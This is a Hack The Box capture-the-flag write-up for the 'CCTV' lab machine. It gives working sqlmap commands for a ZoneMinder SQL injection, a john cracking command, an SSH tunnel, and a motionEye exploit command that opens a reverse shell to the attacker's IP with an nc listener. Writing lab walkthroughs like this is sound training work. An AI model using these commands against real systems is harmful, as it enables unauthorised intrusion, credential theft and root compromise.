

Hack The Box – CCTV (Easy Seasonal Machine)

Martina Giacobbe

Overview

CCTV is an Easy seasonal Hack The Box machine that demonstrates a realistic attack chain involving:

- Service discovery and reconnaissance
- Web application authentication bypass
- SQL injection for database extraction
- Password hash cracking
- Local service enumeration
- SSH tunneling and internal service access
- Remote Code Execution (RCE) via vulnerable surveillance software

The compromise progresses from a vulnerable web interface to full root access by chaining multiple weaknesses across services.

1 Reconnaissance

The first stage of a penetration test involves identifying exposed services and technologies running on the target system.

1.1 Port Scanning

An `nmap` scan reveals the following open ports:

PORT	STATE	SERVICE	VERSION
22/tcp	open	ssh	OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
80/tcp	open	http	Apache httpd 2.4.58
_http-title: SecureVision CCTV & Security Solutions			

Service Info: Host: default; OS: Linux.

Port scanning is a fundamental reconnaissance technique used to discover network services and identify potential attack surfaces.

Two services are exposed externally:

- SSH (22)
- HTTP (80)

The web service appears to host a surveillance management interface.

2 Web Enumeration

Visiting the target web application:

`http://cctv.htb/zm`

reveals a login form.

Attempting default credentials:

`admin : admin`

grants access to the dashboard.

Default credentials are a very common security weakness and frequently appear in misconfigured systems or development environments.

2.1 Application Version Identification

Inside the console interface, the version is visible:

`v1.37.63`

This version is vulnerable to:

`CVE-2024-51482`

The exploit is documented here:

`Gh0s7Op/CVE-2024-51482-Multi-Stage-Surveillance-System-Exploit`

3 SQL Injection Exploitation

The vulnerability is a **Boolean-based SQL Injection**.

SQL injection occurs when user input is improperly sanitized before being included in SQL queries. This allows attackers to manipulate database queries and retrieve unauthorized data.

The vulnerable endpoint is:

`/zm/index.php?view=request&request=event&action=removetag&tid=1`

Using `sqlmap`, database enumeration can be performed.

3.1 Enumerating Databases

```
sqlmap -u "http://10.129.8.229/zm/index.php?view=request&request=event&
      action=removetag&tid=1" \
--cookie="ZMSSID=u3qkoof791j5jqde2q80uhg4g4" \
-p tid --dbms=mysql --batch --dbs
```

The cookie is retrieved from the browser developer tools.

3.2 Extracting Users

```
sqlmap -u "http://<target_ip>/zm/index.php?view=request&request=event&
action=removetag&tid=1" \
--cookie="ZMSESSID=u3qkoof791j5jqde2q80uhg4g4" \
-p tid --dbms=mysql --batch -D zm -T Users -C "Username" --dump
```

The discovered users are:

- admin
- mark
- superadmin

These users are also visible within the application dashboard.

3.3 Extracting Password Hashes

```
sqlmap -u "http://10.129.8.229/zm/index.php?view=request&request=event&
action=removetag&tid=1" \
--cookie="ZMSESSID=u3qkoof791j5jqde2q80uhg4g4" \
-p tid --dbms=mysql --batch -D zm -T Users \
-C "Password" --where="Username='mark'" --dump
```

The extracted hash is:

```
$2y$10$prZGnazejKcuTv5bKNexX0gLyQaok0hq07LW7AJ/QNqZolbXKfFG
```

This is a bcrypt password hash.

4 Password Cracking

The hash can be cracked using `john` with the `rockyou` wordlist.

```
john --wordlist=/usr/share/wordlists/rockyou.txt mark_hash.txt
```

The password is recovered as:

opensesame

Password cracking exploits weak passwords chosen by users. Even strong hashing algorithms such as bcrypt can be defeated when weak passwords are used.

5 Initial Access

Using the recovered credentials:

mark : opensesame

SSH access is obtained.

However, the user flag should be located at:

/home/mark/user.txt

but there is nothing there.

This suggests that further enumeration and privilege escalation are required.

6 Privilege Escalation

The next step is identifying locally running services.

6.1 Local Service Enumeration

Running:

```
ss -tlnp
```

reveals several services bound to localhost.

```
127.0.0.1:7999
127.0.0.1:1935
127.0.0.1:3306
127.0.0.1:8765
127.0.0.1:8888
127.0.0.1:9081
127.0.0.1:8554
```

Services bound to:

127.0.0.1

are only accessible locally.

These are not externally exposed but may be reachable through **port forwarding or pivoting**.

Some notable services include:

- 3306 → MySQL
- 1935 → RTMP streaming
- 8554 → RTSP streaming
- 8765 → commonly used by motionEye

motionEye is a web interface used for surveillance camera management.

7 SSH Port Forwarding

Since motionEye listens on localhost only, SSH tunneling can be used to access it.

```
ssh -L 8765:127.0.0.1:8765 mark@cctv.htb
```

The service becomes available locally:

<http://127.0.0.1:8765>

SSH port forwarding is a technique used during lateral movement or privilege escalation to access internal services.

8 motionEye Vulnerability

A login form is displayed.

None of the previously discovered credentials work.

However, research reveals the vulnerability:

CVE-2025-47782

motionEye is a web interface for the **motion** video surveillance software.

Affected versions:

0.43.1b1 – 0.43.1b3

The vulnerability allows **Remote Command Execution** through malicious camera configuration.

Configuration fields are written directly into Motion configuration files without proper sanitization.

When the service reloads, injected commands are executed.

Since motionEye runs as root, injected commands execute with full privileges.

9 Configuration File Analysis

Examining the configuration file:

```
cat /etc/motioneye/motion.conf
```

reveals stored credentials:

```
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
```

Thanks to these credentials, access to the web interface is possible.

10 Exploitation

First, start a reverse shell listener:

```
nc -lvnp 9001
```

Then execute the exploit (it can be found online on github):

```
python3 CVE-2025-60787.py revshell \
--url 'http://127.0.0.1:8765' \
--user 'admin' \
--password '989c5a8ee87a0e9521ec81a79187d162109282f0' \
-i 10.10.15.23 \
--port 9001
```

Output:

```
[*] Attempting to connect
[*] Valid credentials provided
[*] Found 1 camera
[*] Payload successfully injected
~Happy Hacking
```

The payload injects a command into the configuration, triggering a reverse shell connection.

11 Root Access

Since motionEye runs as root, the injected command executes with root privileges.

A root shell is obtained on the attacker's machine.

Conclusion

The CCTV machine demonstrates several important security concepts:

- Default credentials remain a major risk
- SQL injection can expose sensitive database contents
- Weak passwords enable credential cracking
- Internal services may be reachable through port forwarding
- Surveillance software may expose high-privilege attack surfaces

By chaining multiple vulnerabilities across different components, full system compromise is achieved.